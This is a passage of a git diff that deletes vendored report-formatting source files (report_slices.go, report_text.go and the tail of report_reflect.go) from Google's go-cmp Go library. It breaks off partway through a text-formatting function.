refNode.Value.(*textWrap); ok { - s2 = s3 - } - } - - // Already has delimiters that make parenthesis unnecessary. - hasParens := strings.HasPrefix(s2.Prefix, "(") && strings.HasSuffix(s2.Suffix, ")") - hasBraces := strings.HasPrefix(s2.Prefix, "{") && strings.HasSuffix(s2.Suffix, "}") - if hasParens || hasBraces { - return s - } - } - if refNode != nil { - refNode.Value = &textWrap{Prefix: "(", Value: refNode.Value, Suffix: ")"} - return s - } - return &textWrap{Prefix: "(", Value: s, Suffix: ")"} -} - -// FormatValue prints the reflect.Value, taking extra care to avoid descending -// into pointers already in ptrs. As pointers are visited, ptrs is also updated. -func (opts formatOptions) FormatValue(v reflect.Value, parentKind reflect.Kind, ptrs *pointerReferences) (out textNode) { - if !v.IsValid() { - return nil - } - t := v.Type() - - // Check slice element for cycles. - if parentKind == reflect.Slice { - ptrRef, visited := ptrs.Push(v.Addr()) - if visited { - return makeLeafReference(ptrRef, false) - } - defer ptrs.Pop() - defer func() { out = wrapTrunkReference(ptrRef, false, out) }() - } - - // Check whether there is an Error or String method to call. - if !opts.AvoidStringer && v.CanInterface() { - // Avoid calling Error or String methods on nil receivers since many - // implementations crash when doing so. - if (t.Kind() != reflect.Ptr && t.Kind() != reflect.Interface) || !v.IsNil() { - var prefix, strVal string - func() { - // Swallow and ignore any panics from String or Error. - defer func() { recover() }() - switch v := v.Interface().(type) { - case error: - strVal = v.Error() - prefix = "e" - case fmt.Stringer: - strVal = v.String() - prefix = "s" - } - }() - if prefix != "" { - return opts.formatString(prefix, strVal) - } - } - } - - // Check whether to explicitly wrap the result with the type. - var skipType bool - defer func() { - if !skipType { - out = opts.FormatType(t, out) - } - }() - - switch t.Kind() { - case reflect.Bool: - return textLine(fmt.Sprint(v.Bool())) - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return textLine(fmt.Sprint(v.Int())) - case reflect.Uint, reflect.Uint16, reflect.Uint32, reflect.Uint64: - return textLine(fmt.Sprint(v.Uint())) - case reflect.Uint8: - if parentKind == reflect.Slice || parentKind == reflect.Array { - return textLine(formatHex(v.Uint())) - } - return textLine(fmt.Sprint(v.Uint())) - case reflect.Uintptr: - return textLine(formatHex(v.Uint())) - case reflect.Float32, reflect.Float64: - return textLine(fmt.Sprint(v.Float())) - case reflect.Complex64, reflect.Complex128: - return textLine(fmt.Sprint(v.Complex())) - case reflect.String: - return opts.formatString("", v.String()) - case reflect.UnsafePointer, reflect.Chan, reflect.Func: - return textLine(formatPointer(value.PointerOf(v), true)) - case reflect.Struct: - var list textList - v := makeAddressable(v) // needed for retrieveUnexportedField - maxLen := v.NumField() - if opts.LimitVerbosity { - maxLen = ((1 << opts.verbosity()) >> 1) << 2 // 0, 4, 8, 16, 32, etc... - opts.VerbosityLevel-- - } - for i := 0; i < v.NumField(); i++ { - vv := v.Field(i) - if value.IsZero(vv) { - continue // Elide fields with zero values - } - if len(list) == maxLen { - list.AppendEllipsis(diffStats{}) - break - } - sf := t.Field(i) - if supportExporters && !isExported(sf.Name) { - vv = retrieveUnexportedField(v, sf, true) - } - s := opts.WithTypeMode(autoType).FormatValue(vv, t.Kind(), ptrs) - list = append(list, textRecord{Key: sf.Name, Value: s}) - } - return &textWrap{Prefix: "{", Value: list, Suffix: "}"} - case reflect.Slice: - if v.IsNil() { - return textNil - } - - // Check whether this is a []byte of text data. - if t.Elem() == reflect.TypeOf(byte(0)) { - b := v.Bytes() - isPrintSpace := func(r rune) bool { return unicode.IsPrint(r) && unicode.IsSpace(r) } - if len(b) > 0 && utf8.Valid(b) && len(bytes.TrimFunc(b, isPrintSpace)) == 0 { - out = opts.formatString("", string(b)) - return opts.WithTypeMode(emitType).FormatType(t, out) - } - } - - fallthrough - case reflect.Array: - maxLen := v.Len() - if opts.LimitVerbosity { - maxLen = ((1 << opts.verbosity()) >> 1) << 2 // 0, 4, 8, 16, 32, etc... - opts.VerbosityLevel-- - } - var list textList - for i := 0; i < v.Len(); i++ { - if len(list) == maxLen { - list.AppendEllipsis(diffStats{}) - break - } - s := opts.WithTypeMode(elideType).FormatValue(v.Index(i), t.Kind(), ptrs) - list = append(list, textRecord{Value: s}) - } - - out = &textWrap{Prefix: "{", Value: list, Suffix: "}"} - if t.Kind() == reflect.Slice && opts.PrintAddresses { - header := fmt.Sprintf("ptr:%v, len:%d, cap:%d", formatPointer(value.PointerOf(v), false), v.Len(), v.Cap()) - out = &textWrap{Prefix: pointerDelimPrefix + header + pointerDelimSuffix, Value: out} - } - return out - case reflect.Map: - if v.IsNil() { - return textNil - } - - // Check pointer for cycles. - ptrRef, visited := ptrs.Push(v) - if visited { - return makeLeafReference(ptrRef, opts.PrintAddresses) - } - defer ptrs.Pop() - - maxLen := v.Len() - if opts.LimitVerbosity { - maxLen = ((1 << opts.verbosity()) >> 1) << 2 // 0, 4, 8, 16, 32, etc... - opts.VerbosityLevel-- - } - var list textList - for _, k := range value.SortKeys(v.MapKeys()) { - if len(list) == maxLen { - list.AppendEllipsis(diffStats{}) - break - } - sk := formatMapKey(k, false, ptrs) - sv := opts.WithTypeMode(elideType).FormatValue(v.MapIndex(k), t.Kind(), ptrs) - list = append(list, textRecord{Key: sk, Value: sv}) - } - - out = &textWrap{Prefix: "{", Value: list, Suffix: "}"} - out = wrapTrunkReference(ptrRef, opts.PrintAddresses, out) - return out - case reflect.Ptr: - if v.IsNil() { - return textNil - } - - // Check pointer for cycles. - ptrRef, visited := ptrs.Push(v) - if visited { - out = makeLeafReference(ptrRef, opts.PrintAddresses) - return &textWrap{Prefix: "&", Value: out} - } - defer ptrs.Pop() - - skipType = true // Let the underlying value print the type instead - out = opts.FormatValue(v.Elem(), t.Kind(), ptrs) - out = wrapTrunkReference(ptrRef, opts.PrintAddresses, out) - out = &textWrap{Prefix: "&", Value: out} - return out - case reflect.Interface: - if v.IsNil() { - return textNil - } - // Interfaces accept different concrete types, - // so configure the underlying value to explicitly print the type. - skipType = true // Print the concrete type instead - return opts.WithTypeMode(emitType).FormatValue(v.Elem(), t.Kind(), ptrs) - default: - panic(fmt.Sprintf("%v kind not handled", v.Kind())) - } -} - -func (opts formatOptions) formatString(prefix, s string) textNode { - maxLen := len(s) - maxLines := strings.Count(s, "\n") + 1 - if opts.LimitVerbosity { - maxLen = (1 << opts.verbosity()) << 5 // 32, 64, 128, 256, etc... - maxLines = (1 << opts.verbosity()) << 2 // 4, 8, 16, 32, 64, etc... - } - - // For multiline strings, use the triple-quote syntax, - // but only use it when printing removed or inserted nodes since - // we only want the extra verbosity for those cases. - lines := strings.Split(strings.TrimSuffix(s, "\n"), "\n") - isTripleQuoted := len(lines) >= 4 && (opts.DiffMode == '-' || opts.DiffMode == '+') - for i := 0; i < len(lines) && isTripleQuoted; i++ { - lines[i] = strings.TrimPrefix(strings.TrimSuffix(lines[i], "\r"), "\r") // trim leading/trailing carriage returns for legacy Windows endline support - isPrintable := func(r rune) bool { - return unicode.IsPrint(r) || r == '\t' // specially treat tab as printable - } - line := lines[i] - isTripleQuoted = !strings.HasPrefix(strings.TrimPrefix(line, prefix), `"""`) && !strings.HasPrefix(line, "...") && strings.TrimFunc(line, isPrintable) == "" && len(line) <= maxLen - } - if isTripleQuoted { - var list textList - list = append(list, textRecord{Diff: opts.DiffMode, Value: textLine(prefix + `"""`), ElideComma: true}) - for i, line := range lines { - if numElided := len(lines) - i; i == maxLines-1 && numElided > 1 { - comment := commentString(fmt.Sprintf("%d elided lines", numElided)) - list = append(list, textRecord{Diff: opts.DiffMode, Value: textEllipsis, ElideComma: true, Comment: comment}) - break - } - list = append(list, textRecord{Diff: opts.DiffMode, Value: textLine(line), ElideComma: true}) - } - list = append(list, textRecord{Diff: opts.DiffMode, Value: textLine(prefix + `"""`), ElideComma: true}) - return &textWrap{Prefix: "(", Value: list, Suffix: ")"} - } - - // Format the string as a single-line quoted string. - if len(s) > maxLen+len(textEllipsis) { - return textLine(prefix + formatString(s[:maxLen]) + string(textEllipsis)) - } - return textLine(prefix + formatString(s)) -} - -// formatMapKey formats v as if it were a map key. -// The result is guaranteed to be a single line. -func formatMapKey(v reflect.Value, disambiguate bool, ptrs *pointerReferences) string { - var opts formatOptions - opts.DiffMode = diffIdentical - opts.TypeMode = elideType - opts.PrintAddresses = disambiguate - opts.AvoidStringer = disambiguate - opts.QualifiedNames = disambiguate - s := opts.FormatValue(v, reflect.Map, ptrs).String() - return strings.TrimSpace(s) -} - -// formatString prints s as a double-quoted or backtick-quoted string. -func formatString(s string) string { - // Use quoted string if it the same length as a raw string literal. - // Otherwise, attempt to use the raw string form. - qs := strconv.Quote(s) - if len(qs) == 1+len(s)+1 { - return qs - } - - // Disallow newlines to ensure output is a single line. - // Only allow printable runes for readability purposes. - rawInvalid := func(r rune) bool { - return r == '`' || r == '\n' || !(unicode.IsPrint(r) || r == '\t') - } - if utf8.ValidString(s) && strings.IndexFunc(s, rawInvalid) < 0 { - return "`" + s + "`" - } - return qs -} - -// formatHex prints u as a hexadecimal integer in Go notation. -func formatHex(u uint64) string { - var f string - switch { - case u <= 0xff: - f = "0x%02x" - case u <= 0xffff: - f = "0x%04x" - case u <= 0xffffff: - f = "0x%06x" - case u <= 0xffffffff: - f = "0x%08x" - case u <= 0xffffffffff: - f = "0x%010x" - case u <= 0xffffffffffff: - f = "0x%012x" - case u <= 0xffffffffffffff: - f = "0x%014x" - case u <= 0xffffffffffffffff: - f = "0x%016x" - } - return fmt.Sprintf(f, u) -} diff --git a/vendor/github.com/google/go-cmp/cmp/report_slices.go b/vendor/github.com/google/go-cmp/cmp/report_slices.go deleted file mode 100644 index 35315dad35..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/report_slices.go +++ /dev/null @@ -1,448 +0,0 @@ -// Copyright 2019, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package cmp - -import ( - "bytes" - "fmt" - "reflect" - "strconv" - "strings" - "unicode" - "unicode/utf8" - - "github.com/google/go-cmp/cmp/internal/diff" -) - -// CanFormatDiffSlice reports whether we support custom formatting for nodes -// that are slices of primitive kinds or strings. -func (opts formatOptions) CanFormatDiffSlice(v *valueNode) bool { - switch { - case opts.DiffMode != diffUnknown: - return false // Must be formatting in diff mode - case v.NumDiff == 0: - return false // No differences detected - case !v.ValueX.IsValid() || !v.ValueY.IsValid(): - return false // Both values must be valid - case v.Type.Kind() == reflect.Slice && (v.ValueX.Len() == 0 || v.ValueY.Len() == 0): - return false // Both slice values have to be non-empty - case v.NumIgnored > 0: - return false // Some ignore option was used - case v.NumTransformed > 0: - return false // Some transform option was used - case v.NumCompared > 1: - return false // More than one comparison was used - case v.NumCompared == 1 && v.Type.Name() != "": - // The need for cmp to check applicability of options on every element - // in a slice is a significant performance detriment for large []byte. - // The workaround is to specify Comparer(bytes.Equal), - // which enables cmp to compare []byte more efficiently. - // If they differ, we still want to provide batched diffing. - // The logic disallows named types since they tend to have their own - // String method, with nicer formatting than what this provides. - return false - } - - switch t := v.Type; t.Kind() { - case reflect.String: - case reflect.Array, reflect.Slice: - // Only slices of primitive types have specialized handling. - switch t.Elem().Kind() { - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, - reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr, - reflect.Bool, reflect.Float32, reflect.Float64, reflect.Complex64, reflect.Complex128: - default: - return false - } - - // If a sufficient number of elements already differ, - // use specialized formatting even if length requirement is not met. - if v.NumDiff > v.NumSame { - return true - } - default: - return false - } - - // Use specialized string diffing for longer slices or strings. - const minLength = 64 - return v.ValueX.Len() >= minLength && v.ValueY.Len() >= minLength -} - -// FormatDiffSlice prints a diff for the slices (or strings) represented by v. -// This provides custom-tailored logic to make printing of differences in -// textual strings and slices of primitive kinds more readable. -func (opts formatOptions) FormatDiffSlice(v *valueNode) textNode { - assert(opts.DiffMode == diffUnknown) - t, vx, vy := v.Type, v.ValueX, v.ValueY - - // Auto-detect the type of the data. - var isLinedText, isText, isBinary bool - var sx, sy string - switch { - case t.Kind() == reflect.String: - sx, sy = vx.String(), vy.String() - isText = true // Initial estimate, verify later - case t.Kind() == reflect.Slice && t.Elem() == reflect.TypeOf(byte(0)): - sx, sy = string(vx.Bytes()), string(vy.Bytes()) - isBinary = true // Initial estimate, verify later - case t.Kind() == reflect.Array: - // Arrays need to be addressable for slice operations to work. - vx2, vy2 := reflect.New(t).Elem(), reflect.New(t).Elem() - vx2.Set(vx) - vy2.Set(vy) - vx, vy = vx2, vy2 - } - if isText || isBinary { - var numLines, lastLineIdx, maxLineLen int - isBinary = !utf8.ValidString(sx) || !utf8.ValidString(sy) - for i, r := range sx + sy { - if !(unicode.IsPrint(r) || unicode.IsSpace(r)) || r == utf8.RuneError { - isBinary = true - break - } - if r == '\n' { - if maxLineLen < i-lastLineIdx { - maxLineLen = i - lastLineIdx - } - lastLineIdx = i + 1 - numLines++ - } - } - isText = !isBinary - isLinedText = isText && numLines >= 4 && maxLineLen <= 1024 - } - - // Format the string into printable records. - var list textList - var delim string - switch { - // If the text appears to be multi-lined text, - // then perform differencing across individual lines. - case isLinedText: - ssx := strings.Split(sx, "\n") - ssy := strings.Split(sy, "\n") - list = opts.formatDiffSlice( - reflect.ValueOf(ssx), reflect.ValueOf(ssy), 1, "line", - func(v reflect.Value, d diffMode) textRecord { - s := formatString(v.Index(0).String()) - return textRecord{Diff: d, Value: textLine(s)} - }, - ) - delim = "\n" - - // If possible, use a custom triple-quote (""") syntax for printing - // differences in a string literal. This format is more readable, - // but has edge-cases where differences are visually indistinguishable. - // This format is avoided under the following conditions: - // â€ĸ A line starts with `"""` - // â€ĸ A line starts with "..." - // â€ĸ A line contains non-printable characters - // â€ĸ Adjacent different lines differ only by whitespace - // - // For example: - // """ - // ... // 3 identical lines - // foo - // bar - // - baz - // + BAZ - // """ - isTripleQuoted := true - prevRemoveLines := map[string]bool{} - prevInsertLines := map[string]bool{} - var list2 textList - list2 = append(list2, textRecord{Value: textLine(`"""`), ElideComma: true}) - for _, r := range list { - if !r.Value.Equal(textEllipsis) { - line, _ := strconv.Unquote(string(r.Value.(textLine))) - line = strings.TrimPrefix(strings.TrimSuffix(line, "\r"), "\r") // trim leading/trailing carriage returns for legacy Windows endline support - normLine := strings.Map(func(r rune) rune { - if unicode.IsSpace(r) { - return -1 // drop whitespace to avoid visually indistinguishable output - } - return r - }, line) - isPrintable := func(r rune) bool { - return unicode.IsPrint(r) || r == '\t' // specially treat tab as printable - } - isTripleQuoted = !strings.HasPrefix(line, `"""`) && !strings.HasPrefix(line, "...") && strings.TrimFunc(line, isPrintable) == "" - switch r.Diff { - case diffRemoved: - isTripleQuoted = isTripleQuoted && !prevInsertLines[normLine] - prevRemoveLines[normLine] = true - case diffInserted: - isTripleQuoted = isTripleQuoted && !prevRemoveLines[normLine] - prevInsertLines[normLine] = true - } - if !isTripleQuoted { - break - } - r.Value = textLine(line) - r.ElideComma = true - } - if !(r.Diff == diffRemoved || r.Diff == diffInserted) { // start a new non-adjacent difference group - prevRemoveLines = map[string]bool{} - prevInsertLines = map[string]bool{} - } - list2 = append(list2, r) - } - if r := list2[len(list2)-1]; r.Diff == diffIdentical && len(r.Value.(textLine)) == 0 { - list2 = list2[:len(list2)-1] // elide single empty line at the end - } - list2 = append(list2, textRecord{Value: textLine(`"""`), ElideComma: true}) - if isTripleQuoted { - var out textNode = &textWrap{Prefix: "(", Value: list2, Suffix: ")"} - switch t.Kind() { - case reflect.String: - if t != reflect.TypeOf(string("")) { - out = opts.FormatType(t, out) - } - case reflect.Slice: - // Always emit type for slices since the triple-quote syntax - // looks like a string (not a slice). - opts = opts.WithTypeMode(emitType) - out = opts.FormatType(t, out) - } - return out - } - - // If the text appears to be single-lined text, - // then perform differencing in approximately fixed-sized chunks. - // The output is printed as quoted strings. - case isText: - list = opts.formatDiffSlice( - reflect.ValueOf(sx), reflect.ValueOf(sy), 64, "byte", - func(v reflect.Value, d diffMode) textRecord { - s := formatString(v.String()) - return textRecord{Diff: d, Value: textLine(s)} - }, - ) - delim = "" - - // If the text appears to be binary data, - // then perform differencing in approximately fixed-sized chunks. - // The output is inspired by hexdump. - case isBinary: - list = opts.formatDiffSlice( - reflect.ValueOf(sx), reflect.ValueOf(sy), 16, "byte", - func(v reflect.Value, d diffMode) textRecord { - var ss []string - for i := 0; i < v.Len(); i++ { - ss = append(ss, formatHex(v.Index(i).Uint())) - } - s := strings.Join(ss, ", ") - comment := commentString(fmt.Sprintf("%c|%v|", d, formatASCII(v.String()))) - return textRecord{Diff: d, Value: textLine(s), Comment: comment} - }, - ) - - // For all other slices of primitive types, - // then perform differencing in approximately fixed-sized chunks. - // The size of each chunk depends on the width of the element kind. - default: - var chunkSize int - if t.Elem().Kind() == reflect.Bool { - chunkSize = 16 - } else { - switch t.Elem().Bits() { - case 8: - chunkSize = 16 - case 16: - chunkSize = 12 - case 32: - chunkSize = 8 - default: - chunkSize = 8 - } - } - list = opts.formatDiffSlice( - vx, vy, chunkSize, t.Elem().Kind().String(), - func(v reflect.Value, d diffMode) textRecord { - var ss []string - for i := 0; i < v.Len(); i++ { - switch t.Elem().Kind() { - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - ss = append(ss, fmt.Sprint(v.Index(i).Int())) - case reflect.Uint, reflect.Uint16, reflect.Uint32, reflect.Uint64: - ss = append(ss, fmt.Sprint(v.Index(i).Uint())) - case reflect.Uint8, reflect.Uintptr: - ss = append(ss, formatHex(v.Index(i).Uint())) - case reflect.Bool, reflect.Float32, reflect.Float64, reflect.Complex64, reflect.Complex128: - ss = append(ss, fmt.Sprint(v.Index(i).Interface())) - } - } - s := strings.Join(ss, ", ") - return textRecord{Diff: d, Value: textLine(s)} - }, - ) - } - - // Wrap the output with appropriate type information. - var out textNode = &textWrap{Prefix: "{", Value: list, Suffix: "}"} - if !isText { - // The "{...}" byte-sequence literal is not valid Go syntax for strings. - // Emit the type for extra clarity (e.g. "string{...}"). - if t.Kind() == reflect.String { - opts = opts.WithTypeMode(emitType) - } - return opts.FormatType(t, out) - } - switch t.Kind() { - case reflect.String: - out = &textWrap{Prefix: "strings.Join(", Value: out, Suffix: fmt.Sprintf(", %q)", delim)} - if t != reflect.TypeOf(string("")) { - out = opts.FormatType(t, out) - } - case reflect.Slice: - out = &textWrap{Prefix: "bytes.Join(", Value: out, Suffix: fmt.Sprintf(", %q)", delim)} - if t != reflect.TypeOf([]byte(nil)) { - out = opts.FormatType(t, out) - } - } - return out -} - -// formatASCII formats s as an ASCII string. -// This is useful for printing binary strings in a semi-legible way. -func formatASCII(s string) string { - b := bytes.Repeat([]byte{'.'}, len(s)) - for i := 0; i < len(s); i++ { - if ' ' <= s[i] && s[i] <= '~' { - b[i] = s[i] - } - } - return string(b) -} - -func (opts formatOptions) formatDiffSlice( - vx, vy reflect.Value, chunkSize int, name string, - makeRec func(reflect.Value, diffMode) textRecord, -) (list textList) { - es := diff.Difference(vx.Len(), vy.Len(), func(ix int, iy int) diff.Result { - return diff.BoolResult(vx.Index(ix).Interface() == vy.Index(iy).Interface()) - }) - - appendChunks := func(v reflect.Value, d diffMode) int { - n0 := v.Len() - for v.Len() > 0 { - n := chunkSize - if n > v.Len() { - n = v.Len() - } - list = append(list, makeRec(v.Slice(0, n), d)) - v = v.Slice(n, v.Len()) - } - return n0 - v.Len() - } - - var numDiffs int - maxLen := -1 - if opts.LimitVerbosity { - maxLen = (1 << opts.verbosity()) << 2 // 4, 8, 16, 32, 64, etc... - opts.VerbosityLevel-- - } - - groups := coalesceAdjacentEdits(name, es) - groups = coalesceInterveningIdentical(groups, chunkSize/4) - maxGroup := diffStats{Name: name} - for i, ds := range groups { - if maxLen >= 0 && numDiffs >= maxLen { - maxGroup = maxGroup.Append(ds) - continue - } - - // Print equal. - if ds.NumDiff() == 0 { - // Compute the number of leading and trailing equal bytes to print. - var numLo, numHi int - numEqual := ds.NumIgnored + ds.NumIdentical - for numLo < chunkSize*numContextRecords && numLo+numHi < numEqual && i != 0 { - numLo++ - } - for numHi < chunkSize*numContextRecords && numLo+numHi < numEqual && i != len(groups)-1 { - numHi++ - } - if numEqual-(numLo+numHi) <= chunkSize && ds.NumIgnored == 0 { - numHi = numEqual - numLo // Avoid pointless coalescing of single equal row - } - - // Print the equal bytes. - appendChunks(vx.Slice(0, numLo), diffIdentical) - if numEqual > numLo+numHi { - ds.NumIdentical -= numLo + numHi - list.AppendEllipsis(ds) - } - appendChunks(vx.Slice(numEqual-numHi, numEqual), diffIdentical) - vx = vx.Slice(numEqual, vx.Len()) - vy = vy.Slice(numEqual, vy.Len()) - continue - } - - // Print unequal. - len0 := len(list) - nx := appendChunks(vx.Slice(0, ds.NumIdentical+ds.NumRemoved+ds.NumModified), diffRemoved) - vx = vx.Slice(nx, vx.Len()) - ny := appendChunks(vy.Slice(0, ds.NumIdentical+ds.NumInserted+ds.NumModified), diffInserted) - vy = vy.Slice(ny, vy.Len()) - numDiffs += len(list) - len0 - } - if maxGroup.IsZero() { - assert(vx.Len() == 0 && vy.Len() == 0) - } else { - list.AppendEllipsis(maxGroup) - } - return list -} - -// coalesceAdjacentEdits coalesces the list of edits into groups of adjacent -// equal or unequal counts. -func coalesceAdjacentEdits(name string, es diff.EditScript) (groups []diffStats) { - var prevCase int // Arbitrary index into which case last occurred - lastStats := func(i int) *diffStats { - if prevCase != i { - groups = append(groups, diffStats{Name: name}) - prevCase = i - } - return &groups[len(groups)-1] - } - for _, e := range es { - switch e { - case diff.Identity: - lastStats(1).NumIdentical++ - case diff.UniqueX: - lastStats(2).NumRemoved++ - case diff.UniqueY: - lastStats(2).NumInserted++ - case diff.Modified: - lastStats(2).NumModified++ - } - } - return groups -} - -// coalesceInterveningIdentical coalesces sufficiently short (<= windowSize) -// equal groups into adjacent unequal groups that currently result in a -// dual inserted/removed printout. This acts as a high-pass filter to smooth -// out high-frequency changes within the windowSize. -func coalesceInterveningIdentical(groups []diffStats, windowSize int) []diffStats { - groups, groupsOrig := groups[:0], groups - for i, ds := range groupsOrig { - if len(groups) >= 2 && ds.NumDiff() > 0 { - prev := &groups[len(groups)-2] // Unequal group - curr := &groups[len(groups)-1] // Equal group - next := &groupsOrig[i] // Unequal group - hadX, hadY := prev.NumRemoved > 0, prev.NumInserted > 0 - hasX, hasY := next.NumRemoved > 0, next.NumInserted > 0 - if ((hadX || hasX) && (hadY || hasY)) && curr.NumIdentical <= windowSize { - *prev = prev.Append(*curr).Append(*next) - groups = groups[:len(groups)-1] // Truncate off equal group - continue - } - } - groups = append(groups, ds) - } - return groups -} diff --git a/vendor/github.com/google/go-cmp/cmp/report_text.go b/vendor/github.com/google/go-cmp/cmp/report_text.go deleted file mode 100644 index 8b12c05cd4..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/report_text.go +++ /dev/null @@ -1,431 +0,0 @@ -// Copyright 2019, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package cmp - -import ( - "bytes" - "fmt" - "math/rand" - "strings" - "time" - "unicode/utf8" - - "github.com/google/go-cmp/cmp/internal/flags" -) - -var randBool = rand.New(rand.NewSource(time.Now().Unix())).Intn(2) == 0 - -const maxColumnLength = 80 - -type indentMode int - -func (n indentMode) appendIndent(b []byte, d diffMode) []byte { - // The output of Diff is documented as being unstable to provide future - // flexibility in changing the output for more humanly readable reports. - // This logic intentionally introduces instability to the exact output - // so that users can detect accidental reliance on stability early on, - // rather than much later when an actual change to the format occurs. - if flags.Deterministic || randBool { - // Use regular spaces (U+0020). - switch d { - case diffUnknown, diffIdentical: - b = append(b, " "...) - case diffRemoved: - b = append(b, "- "...) - case diffInserted: - b = append(b, "+ "...) - } - } else { - // Use non-breaking spaces (U+00a0). - switch d { - case diffUnknown, diffIdentical: - b = append(b, "  "...) - case diffRemoved: - b = append(b, "- "...) - case diffInserted: - b = append(b, "+ "...) - } - } - return repeatCount(n).appendChar(b, '\t') -} - -type repeatCount int - -func (n repeatCount) appendChar(b []byte, c byte) []byte { - for ; n > 0; n-- { - b = append(b, c) - } - return b -} - -// textNode is a simplified tree-based representation of structured text. -// Possible node types are textWrap, textList, or textLine. -type textNode interface { - // Len reports the length in bytes of a single-line version of the tree. - // Nested textRecord.Diff and textRecord.Comment fields are ignored. - Len() int - // Equal reports whether the two trees are structurally identical. - // Nested textRecord.Diff and textRecord.Comment fields are compared. - Equal(textNode) bool - // String returns the string representation of the text tree. - // It is not guaranteed that len(x.String()) == x.Len(), - // nor that x.String() == y.String() implies that x.Equal(y). - String() string - - // formatCompactTo formats the contents of the tree as a single-line string - // to the provided buffer. Any nested textRecord.Diff and textRecord.Comment - // fields are ignored. - // - // However, not all nodes in the tree should be collapsed as a single-line. - // If a node can be collapsed as a single-line, it is replaced by a textLine - // node. Since the top-level node cannot replace itself, this also returns - // the current node itself. - // - // This does not mutate the receiver. - formatCompactTo([]byte, diffMode) ([]byte, textNode) - // formatExpandedTo formats the contents of the tree as a multi-line string - // to the provided buffer. In order for column alignment to operate well, - // formatCompactTo must be called before calling formatExpandedTo. - formatExpandedTo([]byte, diffMode, indentMode) []byte -} - -// textWrap is a wrapper that concatenates a prefix and/or a suffix -// to the underlying node. -type textWrap struct { - Prefix string // e.g., "bytes.Buffer{" - Value textNode // textWrap | textList | textLine - Suffix string // e.g., "}" - Metadata interface{} // arbitrary metadata; has no effect on formatting -} - -func (s *textWrap) Len() int { - return len(s.Prefix) + s.Value.Len() + len(s.Suffix) -} -func (s1 *textWrap) Equal(s2 textNode) bool { - if s2, ok := s2.(*textWrap); ok { - return s1.Prefix == s2.Prefix && s1.Value.Equal(s2.Value) && s1.Suffix == s2.Suffix - } - return false -} -func (s *textWrap) String() string { - var d diffMode - var n indentMode - _, s2 := s.formatCompactTo(nil, d) - b := n.appendIndent(nil, d) // Leading indent - b = s2.formatExpandedTo(b, d, n) // Main body - b = append(b, '\n') // Trailing newline - return string(b) -} -func (s *textWrap) formatCompactTo(b []byte, d diffMode) ([]byte, textNode) { - n0 := len(b) // Original buffer length - b = append(b, s.Prefix...) - b, s.Value = s.Value.formatCompactTo(b, d) - b = append(b, s.Suffix...) - if _, ok := s.Value.(textLine); ok { - return b, textLine(b[n0:]) - } - return b, s -} -func (s *textWrap) formatExpandedTo(b []byte, d diffMode, n indentMode) []byte { - b = append(b, s.Prefix...) - b = s.Value.formatExpandedTo(b, d, n) - b = append(b, s.Suffix...) - return b -} - -// textList is a comma-separated list of textWrap or textLine nodes. -// The list may be formatted as multi-lines or single-line at the discretion -// of the textList.formatCompactTo method. -type textList []textRecord -type textRecord struct { - Diff diffMode // e.g., 0 or '-' or '+' - Key string // e.g., "MyField" - Value textNode // textWrap | textLine - ElideComma bool // avoid trailing comma - Comment fmt.Stringer // e.g., "6 identical fields" -} - -// AppendEllipsis appends a new ellipsis node to the list if none already -// exists at the end. If cs is non-zero it coalesces the statistics with the -// previous diffStats. -func (s *textList) AppendEllipsis(ds diffStats) { - hasStats := !ds.IsZero() - if len(*s) == 0 || !(*s)[len(*s)-1].Value.Equal(textEllipsis) { - if hasStats { - *s = append(*s, textRecord{Value: textEllipsis, ElideComma: true, Comment: ds}) - } else { - *s = append(*s, textRecord{Value: textEllipsis, ElideComma: true}) - } - return - } - if hasStats { - (*s)[len(*s)-1].Comment = (*s)[len(*s)-1].Comment.(diffStats).Append(ds) - } -} - -func (s textList) Len() (n int) { - for i, r := range s { - n += len(r.Key) - if r.Key != "" { - n += len(": ") - } - n += r.Value.Len() - if i < len(s)-1 { - n += len(", ") - } - } - return n -} - -func (s1 textList) Equal(s2 textNode) bool { - if s2, ok := s2.(textList); ok { - if len(s1) != len(s2) { - return false - } - for i := range s1 { - r1, r2 := s1[i], s2[i] - if !(r1.Diff == r2.Diff && r1.Key == r2.Key && r1.Value.Equal(r2.Value) && r1.Comment == r2.Comment) { - return false - } - } - return true - } - return false -} - -func (s textList) String() string { - return (&textWrap{Prefix: "{", Value: s, Suffix: "}"}).String() -} - -func (s textList) formatCompactTo(b []byte, d diffMode) ([]byte, textNode) { - s = append(textList(nil), s...) // Avoid mutating original - - // Determine whether we can collapse this list as a single line. - n0 := len(b) // Original buffer length - var multiLine bool - for i, r := range s { - if r.Diff == diffInserted || r.Diff == diffRemoved { - multiLine = true - } - b = append(b, r.Key...) - if r.Key != "" { - b = append(b, ": "...) - } - b, s[i].Value = r.Value.formatCompactTo(b, d|r.Diff) - if _, ok := s[i].Value.(textLine); !ok { - multiLine = true - } - if r.Comment != nil { - multiLine = true - } - if i < len(s)-1 { - b = append(b, ", "...) - } - } - // Force multi-lined output when printing a removed/inserted node that - // is sufficiently long. - if (d == diffInserted || d == diffRemoved) && len(b[n0:]) > maxColumnLength { - multiLine = true - } - if !multiLine { - return b, textLine(b[n0:]) - } - return b, s -} - -func (s textList) formatExpandedTo(b []byte, d diffMode, n indentMode) []byte { - alignKeyLens := s.alignLens( - func(r textRecord) bool { - _, isLine := r.Value.(textLine) - return r.Key == "" || !isLine - }, - func(r textRecord) int { return utf8.RuneCountInString(r.Key) }, - ) - alignValueLens := s.alignLens( - func(r textRecord) bool { - _, isLine := r.Value.(textLine) - return !isLine || r.Value.Equal(textEllipsis) || r.Comment == nil - }, - func(r textRecord) int { return utf8.RuneCount(r.Value.(textLine)) }, - ) - - // Format lists of simple lists in a batched form. - // If the list is sequence of only textLine values, - // then batch multiple values on a single line. - var isSimple bool - for _, r := range s { - _, isLine := r.Value.(textLine) - isSimple = r.Diff == 0 && r.Key == "" && isLine && r.Comment == nil - if !isSimple { - break - } - } - if isSimple { - n++ - var batch []byte - emitBatch := func() { - if len(batch) > 0 { - b = 